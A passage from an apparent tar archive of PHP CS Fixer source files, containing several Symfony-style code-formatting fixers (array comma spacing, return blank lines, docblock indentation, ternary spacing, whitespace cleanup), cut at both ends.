                        .str_repeat(' ', ($tagMax + $hintMax + $varMax + ('param' === $currTag ? 3 : 2)))
                        .$item['desc']
                        ."\n";

                    $lines[$current + $j] = $line;

                    continue;
                }

                $currTag = $item['tag'];

                $line =
                    $item['indent']
                    .' * @'
                    .$item['tag']
                    .str_repeat(' ', $tagMax - strlen($item['tag']) + 1)
                    .$item['hint']
                ;

                if (!empty($item['var'])) {
                    $line .=
                        str_repeat(' ', $hintMax - strlen($item['hint']) + 1)
                        .$item['var']
                        .(
                            !empty($item['desc'])
                            ? str_repeat(' ', $varMax - strlen($item['var']) + 1).$item['desc']."\n"
                            : "\n"
                        )
                    ;
                } elseif (!empty($item['desc'])) {
                    $line .= str_repeat(' ', $hintMax - strlen($item['hint']) + 1).$item['desc']."\n";
                } else {
                    $line .= "\n";
                }

                $lines[$current + $j] = $line;
            }
        }

        return implode($lines);
    }

    /**
     * Get all matches.
     *
     * @param string $line
     * @param bool   $matchCommentOnly
     *
     * @return string[]|null
     */
    private function getMatches($line, $matchCommentOnly = false)
    {
        if (preg_match($this->regex, $line, $matches)) {
            if (!empty($matches['tag2'])) {
                $matches['tag'] = $matches['tag2'];
                $matches['hint'] = $matches['hint2'];
            }

            return $matches;
        }

        if ($matchCommentOnly && preg_match($this->regexCommentLine, $line, $matches)) {
            $matches['tag'] = null;
            $matches['var'] = '';
            $matches['hint'] = '';

            return $matches;
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ArrayElementWhiteSpaceAfterCommaFixer.php000066600000005247151456236460023606 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Adam Marczuk <adam@marczuk.info>
 */
final class ArrayElementWhiteSpaceAfterCommaFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if (!$tokens->isArray($index)) {
                continue;
            }

            $this->fixSpacing($index, $tokens);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'In array declaration, there MUST be a whitespace after each comma.';
    }

    /**
     * Method to fix spacing in array declaration.
     *
     * @param int    $index
     * @param Tokens $tokens
     */
    private function fixSpacing($index, Tokens $tokens)
    {
        if ($tokens->isShortArray($index)) {
            $startIndex = $index;
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $startIndex);
        } else {
            $startIndex = $tokens->getNextTokenOfKind($index, array('('));
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startIndex);
        }

        for ($i = $endIndex - 1; $i > $startIndex; --$i) {
            $i = $this->skipNonArrayElements($i, $tokens);
            if ($tokens[$i]->equals(',') && !$tokens[$i + 1]->isWhitespace()) {
                $tokens->insertAt($i + 1, new Token(array(T_WHITESPACE, ' ')));
            }
        }
    }

    /**
     * Method to move index over the non-array elements like function calls or function declarations.
     *
     * @param int    $index
     * @param Tokens $tokens
     *
     * @return int New index
     */
    private function skipNonArrayElements($index, Tokens $tokens)
    {
        if ($tokens[$index]->equals('}')) {
            return $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $index, false);
        }

        if ($tokens[$index]->equals(')')) {
            $startIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index, false);
            $startIndex = $tokens->getPrevMeaningfulToken($startIndex);
            if (!$tokens->isArray($startIndex)) {
                return $startIndex;
            }
        }

        return $index;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ListCommasFixer.php000066600000003160151456236460017345 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ListCommasFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Remove trailing commas in list function calls.';
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_LIST)) {
                continue;
            }

            $openIndex = $tokens->getNextMeaningfulToken($index);
            $closeIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $openIndex);
            $markIndex = null;
            $prevIndex = $tokens->getPrevNonWhitespace($closeIndex);

            while ($tokens[$prevIndex]->equals(',')) {
                $markIndex = $prevIndex;
                $prevIndex = $tokens->getPrevNonWhitespace($prevIndex);
            }

            if (null !== $markIndex) {
                $tokens->clearRange(
                    $tokens->getPrevNonWhitespace($markIndex) + 1,
                    $closeIndex - 1
                );
            }
        }

        return $tokens->generateCode();
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ReturnFixer.php000066600000003535151456236460016557 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ReturnFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = 0, $limit = $tokens->count(); $index < $limit; ++$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_RETURN)) {
                continue;
            }

            $prevNonWhitespaceToken = $tokens[$tokens->getPrevNonWhitespace($index)];

            if (!$prevNonWhitespaceToken->equalsAny(array(';', '}'))) {
                continue;
            }

            $prevToken = $tokens[$index - 1];

            if ($prevToken->isWhitespace()) {
                $parts = explode("\n", $prevToken->getContent());
                $countParts = count($parts);

                if (1 === $countParts) {
                    $prevToken->setContent(rtrim($prevToken->getContent(), " \t")."\n\n");
                } elseif (count($parts) <= 2) {
                    $prevToken->setContent("\n".$prevToken->getContent());
                }
            } else {
                $tokens->insertAt($index, new Token(array(T_WHITESPACE, "\n\n")));

                ++$index;
                ++$limit;
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'An empty line feed should precede a return statement.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/BlanklineAfterOpenTagFixer.php000066600000003635151456236460021440 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class BlanklineAfterOpenTagFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        // ignore files with short open tag and ignore non-monolithic files
        if (!$tokens[0]->isGivenKind(T_OPEN_TAG) || !$tokens->isMonolithicPhp()) {
            return $content;
        }

        $newlineFound = false;
        /** @var Token $token */
        foreach ($tokens as $token) {
            if ($token->isWhitespace() && false !== strpos($token->getContent(), "\n")) {
                $newlineFound = true;
                break;
            }
        }

        // ignore one-line files
        if (!$newlineFound) {
            return $content;
        }

        $token = $tokens[0];

        if (false === strpos($token->getContent(), "\n")) {
            $token->setContent(rtrim($token->getContent())."\n");
        }

        if (!$tokens[1]->isWhitespace() && false === strpos($tokens[1]->getContent(), "\n")) {
            $tokens->insertAt(1, new Token(array(T_WHITESPACE, "\n")));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Ensure there is no code on the same line as the PHP open tag and it is followed by a blankline.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run before the NoBlankLinesBeforeNamespaceFixer 
        return 1;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/UnalignEqualsFixer.php000066600000002507151456236460020046 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class UnalignEqualsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Unalign equals symbols.';
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->equals('=')) {
                continue;
            }

            $this->fixWhitespace($tokens[$index - 1]);
            $this->fixWhitespace($tokens[$index + 1]);
        }

        return $tokens->generateCode();
    }

    /**
     * If given token is a single line whitespace then fix it to be a single space.
     *
     * @param Token $token
     */
    private function fixWhitespace(Token $token)
    {
        if ($token->isWhitespace(array('whitespaces' => " \t"))) {
            $token->setContent(' ');
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocIndentFixer.php000066600000006321151456236460017653 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * @author Ceeram <ceeram@cakephp.org>
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocIndentFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $index => $token) {
            $nextIndex = $tokens->getNextMeaningfulToken($index);

            // skip if there is no next token or if next token is block end `}`
            if (null === $nextIndex || $tokens[$nextIndex]->equals('}')) {
                continue;
            }

            $prevToken = $tokens[$index - 1];

            // ignore inline docblocks
            if (
                $prevToken->isGivenKind(T_OPEN_TAG)
                || ($prevToken->isWhitespace(array('whitespaces' => " \t")) && !$tokens[$index - 2]->isGivenKind(T_OPEN_TAG))
                || $prevToken->equalsAny(array(';', '{'))
            ) {
                continue;
            }

            $indent = '';
            if ($tokens[$nextIndex - 1]->isWhitespace()) {
                $indent = Utils::calculateTrailingWhitespaceIndent($tokens[$nextIndex - 1]);
            }

            $prevToken->setContent($this->fixWhitespaceBefore($prevToken->getContent(), $indent));
            $token->setContent($this->fixDocBlock($token->getContent(), $indent));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Docblocks should have the same indentation as the documented subject.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        /*
         * Should be run before all other docblock fixers apart from the
         * phpdoc_to_comment fixer to make sure all fixers apply correct
         * indentation to new code they add, and the phpdoc_params fixer only
         * works on correctly indented docblocks. We also need to be running
         * after the psr2 indentation fixer for obvious reasons.
         * comments.
         */
        return 20;
    }

    /**
     * Fix indentation of Docblock.
     *
     * @param string $content Docblock contents
     * @param string $indent  Indentation to apply
     *
     * @return string Dockblock contents including correct indentation
     */
    private function fixDocBlock($content, $indent)
    {
        return ltrim(preg_replace('/^[ \t]*/m', $indent.' ', $content));
    }

    /**
     * Fix whitespace before the Docblock.
     *
     * @param string $content Whitespace before Docblock
     * @param string $indent  Indentation of the documented subject
     *
     * @return string Whitespace including correct indentation for Dockblock after this whitespace
     */
    private function fixWhitespaceBefore($content, $indent)
    {
        return rtrim($content, " \t").$indent;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/JoinFunctionFixer.php000066600000002645151456236460017706 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class JoinFunctionFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_STRING) as $index => $token) {
            if ('join' !== $token->getContent()) {
                continue;
            }

            $prevToken = $tokens[$tokens->getPrevMeaningfulToken($index)];
            if ($prevToken->isGivenKind(array(T_DOUBLE_COLON, T_NEW, T_NS_SEPARATOR, T_OBJECT_OPERATOR, T_FUNCTION))) {
                continue;
            }

            $nextToken = $tokens[$tokens->getNextMeaningfulToken($index)];
            if ($nextToken->isGivenKind(array(T_DOUBLE_COLON, T_NS_SEPARATOR))) {
                continue;
            }

            $token->setContent('implode');
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Implode function should be used instead of join function.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocNoAccessFixer.php000066600000001550151456236460020127 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractAnnotationRemovalFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoAccessFixer extends AbstractAnnotationRemovalFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $this->removeAnnotations($tokens, array('access'));

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@access annotations should be omitted from phpdocs.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/DoubleArrowMultilineWhitespacesFixer.php000066600000003314151456236460023603 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 */
class DoubleArrowMultilineWhitespacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOUBLE_ARROW) as $index => $token) {
            $this->fixWhitespace($tokens[$index - 1]);
            // do not move anything about if there is a comment following the whitespace
            if (!$tokens[$index + 2]->isComment()) {
                $this->fixWhitespace($tokens[$index + 1]);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Operator => should not be surrounded by multi-line whitespaces.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run before the MultilineArrayTrailingCommaFixer and AlignDoubleArrowFixer
        return 1;
    }

    private function fixWhitespace(Token $token)
    {
        if ($token->isWhitespace() && !$token->isWhitespace(array('whitespaces' => " \t"))) {
            $token->setContent(rtrim($token->getContent()).' ');
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/StandardizeNotEqualFixer.php000066600000001660151456236460021216 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class StandardizeNotEqualFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isGivenKind(T_IS_NOT_EQUAL)) {
                $tokens[$index]->setContent('!=');
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Replace all <> with !=.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ExtraEmptyLinesFixer.php000066600000003524151456236460020373 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ExtraEmptyLinesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        /** @var Token $token */
        foreach ($tokens->findGivenKind(T_WHITESPACE) as $index => $token) {
            $content = '';
            $count = 0;
            if ($index > 0 && $tokens[$index - 1]->isComment()) {
                $prevContent = $tokens[$index - 1]->getContent();
                $count = strrpos($prevContent, "\n") === strlen($prevContent) - 1 ? 1 : 0;
            }

            $parts = explode("\n", $token->getContent());

            for ($i = 0, $last = count($parts) - 1; $i <= $last; ++$i) {
                if ('' === $parts[$i]) {
                    // if part is empty then we between two \n
                    ++$count;
                } else {
                    $content .= $parts[$i];
                }

                if ($i !== $last && $count < 3) {
                    $content .= "\n";
                }
            }

            $token->setContent($content);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Removes extra empty lines.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the UnusedUseFixer
        return -20;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/TernarySpacesFixer.php000066600000006165151456236460020065 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TernarySpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $ternaryLevel = 0;
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isArray()) {
                continue;
            }

            if ($token->equals('?')) {
                ++$ternaryLevel;

                $nextNonWhitespaceIndex = $tokens->getNextNonWhitespace($index);
                $nextNonWhitespaceToken = $tokens[$nextNonWhitespaceIndex];

                if ($nextNonWhitespaceToken->equals(':')) {
                    // for `$a ?: $b` remove spaces between `?` and `:`
                    if ($tokens[$index + 1]->isWhitespace()) {
                        $tokens[$index + 1]->clear();
                    }
                } else {
                    // for `$a ? $b : $c` ensure space after `?`
                    $this->ensureWhitespaceExistence($tokens, $index + 1, true);
                }

                // for `$a ? $b : $c` ensure space before `?`
                $this->ensureWhitespaceExistence($tokens, $index - 1, false);

                continue;
            }

            if ($ternaryLevel && $token->equals(':')) {
                // for `$a ? $b : $c` ensure space after `:`
                $this->ensureWhitespaceExistence($tokens, $index + 1, true);

                $prevNonWhitespaceToken = $tokens[$tokens->getPrevNonWhitespace($index)];

                if (!$prevNonWhitespaceToken->equals('?')) {
                    // for `$a ? $b : $c` ensure space before `:`
                    $this->ensureWhitespaceExistence($tokens, $index - 1, false);
                }

                --$ternaryLevel;
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Standardize spaces around ternary operator.';
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     * @param bool   $after
     */
    private function ensureWhitespaceExistence(Tokens $tokens, $index, $after)
    {
        if ($tokens[$index]->isWhitespace()) {
            if (false === strpos($tokens[$index]->getContent(), "\n")) {
                // comment with trailing line break check, on 1.x line only
                if (!$tokens[$index - 1]->isComment() || false === strpos($tokens[$index - 1]->getContent(), "\n")) {
                    $tokens[$index]->setContent(' ');
                }
            }

            return;
        }

        $indexChange = $after ? 0 : 1;
        $tokens->insertAt($index + $indexChange, new Token(array(T_WHITESPACE, ' ', $tokens[$index]->getLine())));
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SingleArrayNoTrailingCommaFixer.php000066600000003506151456236460022462 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 */
class SingleArrayNoTrailingCommaFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = 0, $c = $tokens->count(); $index < $c; ++$index) {
            if ($tokens->isArray($index)) {
                $this->fixArray($tokens, $index);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP single-line arrays should not have trailing comma.';
    }

    private function fixArray(Tokens $tokens, $index)
    {
        if ($tokens->isArrayMultiLine($index)) {
            return;
        }

        $startIndex = $index;

        if ($tokens[$startIndex]->isGivenKind(T_ARRAY)) {
            $startIndex = $tokens->getNextTokenOfKind($startIndex, array('('));
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startIndex);
        } else {
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $startIndex);
        }

        $beforeEndIndex = $tokens->getPrevMeaningfulToken($endIndex);
        $beforeEndToken = $tokens[$beforeEndIndex];

        if ($beforeEndToken->equals(',')) {
            $tokens->removeTrailingWhitespace($beforeEndIndex);
            $beforeEndToken->clear();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/WhitespacyLinesFixer.php000066600000003606151456236460020412 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class WhitespacyLinesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->isWhitespace()) {
                continue;
            }

            $content = $token->getContent();
            $lines = preg_split("/([\r\n])/", $content);

            if (
                // fix T_WHITESPACES with at least 3 lines (eg `\n   \n`)
                count($lines) > 2
                // and T_WHITESPACES with at least 2 lines at the end of file
                || (count($lines) > 1 && !isset($tokens[$index + 1]))
            ) {
                $lMax = count($lines) - 1;
                if (!isset($tokens[$index + 1])) {
                    ++$lMax;
                }

                $lStart = 1;
                if (isset($tokens[$index - 1]) && $tokens[$index - 1]->isGivenKind(T_OPEN_TAG) && "\n" === substr($tokens[$index - 1]->getContent(), -1)) {
                    $lStart = 0;
                }

                for ($l = $lStart; $l < $lMax; ++$l) {
                    $lines[$l] = preg_replace('/^\h+$/', '', $lines[$l]);
                }

                $token->setContent(implode("\n", $lines));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Remove trailing whitespace at the end of blank lines.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocSeparationFixer.php000066600000007350151456236460020542 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\Annotation;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\DocBlock\TagComparator;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocSeparationFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $index => $token) {
            $doc = new DocBlock($token->getContent());
            $this->fixDescription($doc);
            $this->fixAnnotations($doc);
            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Annotations in phpdocs should be grouped together so that annotations of the same type immediately follow each other, and annotations of a different type are separated by a single blank line.';
    }

    /**
     * Make sure the description is separated from the annotations.
     *
     * @param DocBlock $doc
     */
    private function fixDescription(DocBlock $doc)
    {
        foreach ($doc->getLines() as $index => $line) {
            if ($line->containsATag()) {
                break;
            }

            if ($line->containsUsefulContent()) {
                $next = $doc->getLine($index + 1);

                if ($next->containsATag()) {
                    $line->addBlank();
                    break;
                }
            }
        }
    }

    /**
     * Make sure the annotations are correctly separated.
     *
     * @param DocBlock $doc
     *
     * @return string
     */
    private function fixAnnotations(DocBlock $doc)
    {
        foreach ($doc->getAnnotations() as $index => $annotation) {
            $next = $doc->getAnnotation($index + 1);

            if (null === $next) {
                break;
            }

            if (true === $next->getTag()->valid()) {
                if (TagComparator::shouldBeTogether($annotation->getTag(), $next->getTag())) {
                    $this->ensureAreTogether($doc, $annotation, $next);
                } else {
                    $this->ensureAreSeparate($doc, $annotation, $next);
                }
            }
        }

        return $doc->getContent();
    }

    /**
     * Force the given annotations to immediately follow each other.
     *
     * @param DocBlock   $doc
     * @param Annotation $first
     * @param Annotation $second
     */
    private function ensureAreTogether(DocBlock $doc, Annotation $first, Annotation $second)
    {
        $pos = $first->getEnd();
        $final = $second->getStart();

        for ($pos = $pos + 1; $pos < $final; ++$pos) {
            $doc->getLine($pos)->remove();
        }
    }

    /**
     * Force the given annotations to have one empty line between each other.
     *
     * @param DocBlock   $doc
     * @param Annotation $first
     * @param Annotation $second
     */
    private function ensureAreSeparate(DocBlock $doc, Annotation $first, Annotation $second)
    {
        $pos = $first->getEnd();
        $final = $second->getStart() - 1;

        // check if we need to add a line, or need to remove one or more lines
        if ($pos === $final) {
            $doc->getLine($pos)->addBlank();

            return;
        }

        for ($pos = $pos + 1; $pos < $final; ++$pos) {
            $doc->getLine($pos)->remove();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/SpacesBeforeSemicolonFixer.php000066600000002630151456236460021505 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class SpacesBeforeSemicolonFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->equals(';') || !$tokens[$index - 1]->isWhitespace(array('whitespaces' => " \t"))) {
                continue;
            }

            if ($tokens[$index - 2]->equals(';')) {
                // do not remove all whitespace before the semicolon because it is also whitespace after another semicolon
                if (!$tokens[$index - 1]->equals(' ')) {
                    $tokens[$index - 1]->setContent(' ');
                }
            } elseif (!$tokens[$index - 2]->isComment()) {
                $tokens[$index - 1]->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Single-line whitespace before closing semicolon are prohibited.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/NoEmptyLinesAfterPhpdocsFixer.php000066600000004062151456236460022165 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
